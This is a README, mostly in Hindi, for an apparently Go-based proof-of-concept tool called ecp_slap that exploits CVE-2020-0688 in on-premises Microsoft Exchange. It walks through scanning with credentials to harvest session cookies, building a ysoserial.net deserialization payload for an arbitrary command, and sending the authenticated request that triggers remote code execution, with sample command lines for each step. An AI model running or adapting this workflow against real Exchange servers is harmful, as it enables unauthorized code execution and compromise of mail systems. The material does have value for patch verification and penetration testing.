
CVE-2020-0688 PoC
यह CVE-2020-0688 के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट है जिसमें एक संवेदनशील ऑन-प्रिमाइसेस एक्सचेंज इंस्टेंस की स्कैनिंग और शोषण के लिए फ़ंक्शन शामिल हैं।
scan - शोषण के लिए आवश्यक कुकीज़ प्राप्त करने हेतु क्रेडेंशियल और लक्ष्य जानकारी प्रदान करें, और उन्हें 'cookies.txt' में सहेजें। यह लक्षित एक्सचेंज सर्वर के लिए एक्सचेंज कंट्रोल पैनल (ECP) सेवा के एक्सपोज़र की भी जाँच करता है, इस सेवा में प्रमाणीकरण का प्रयास करता है, और उपयुक्त VIEWSTATEGENERATOR मान के मिलान की जाँच करता है। यदि प्रमाणीकरण सफल होता है, तो क्रमबद्ध पेलोड निर्माण के लिए सत्र कुकी मान का आउटपुट प्रदर्शित किया जाएगा।
generate - 'scan' फ़ंक्शन से प्राप्त सत्र कुकी मान, साथ ही कोड निष्पादन के लिए एक कमांड प्रदान करें। यह आपके इनपुट को ysoserial.net के लिए फ़ॉर्मेट करेगा ताकि कोड निष्पादन के लिए एक क्रमबद्ध पेलोड उत्पन्न हो सके। ysoserial के आउटपुट को 'payload.txt' जैसी फ़ाइल में सहेजें।
exploit - सफल प्रमाणीकरण के साथ 'scan' फ़ंक्शन का उपयोग करके प्राप्त कुकीज़ फ़ाइल के इनपुट को लेता है, और आपकी पेलोड फ़ाइल की सामग्री को URL-एनकोड करता है। यह शोषण संवेदनशील ऑन-प्रिमाइसेस एक्सचेंज इंस्टेंस के विरुद्ध कोड निष्पादन को ट्रिगर करने के लिए उपयुक्त प्रमाणित अनुरोध करता है।
$./ecp_slap
scan - Scan an Exchange host and obtain cookies needed for exploitation:
./ecp_slap scan -t 10.1.1.5 -d corp.local -u admin -p badpassword
./ecp_slap scan -t mail.corp.com -d CORP -u admin -p badpassword
generate - Generate the ysoserial.net command for payload creation:
./ecp_slap generate -s [ASP.NET_SessionId] -c [COMMAND]
./ecp_slap generate -s 81c35474-6a73-4a1c-af45-b3985e7d7ad1 -c "echo test > C:/temp/test.txt"
exploit - Exploitation of a vulnerable Exchange server:
./ecp_slap exploit -t 192.168.5.22 -c cookies.txt -p payload.txt
./ecp_slap exploit -t mail.corp.com -c cookies.txt -p payload.txt
यदि आपने उस ऑन-प्रिमाइसेस एक्सचेंज के संस्करण को सत्यापित कर लिया है जिसका आप शोषण करने का प्रयास कर रहे हैं:
लेकिन फिर भी आप सफल कोड निष्पादन को सत्यापित करने में सक्षम नहीं हैं, तो कोड निष्पादन काम कर रहा है या नहीं, इसका मूल्यांकन करने के लिए सरल कमांड निष्पादित करने पर विचार करें, जैसे:
MSRC सुरक्षा सलाहकार से शुरुआत करें जिसमें पैच और ऑन-प्रिमाइसेस एक्सचेंज के संवेदनशील संस्करणों के बारे में विवरण शामिल होंगे। पैच को Microsoft के एक्सचेंज बिल्ड नंबर के साथ क्रॉस-रेफरेंस करने से संवेदनशीलता निर्धारित करने में मदद मिलेगी। इस भेद्यता के शोषण को मैन्युअल रूप से दोहराने के लिए, अद्भुत ZDI लेख का अनुसरण करें।
यदि आप संकलित रिलीज़ लेने के बजाय इस प्रोजेक्ट को स्रोत से संकलित करना चुनते हैं, तो अपना Go वातावरण सेट करना अक्सर GoLang स्थापित करने और उपयुक्त पर्यावरण चर सेट करने जितना आसान होता है। ऐसा करने के चरण यहाँ दस्तावेज़ित हैं।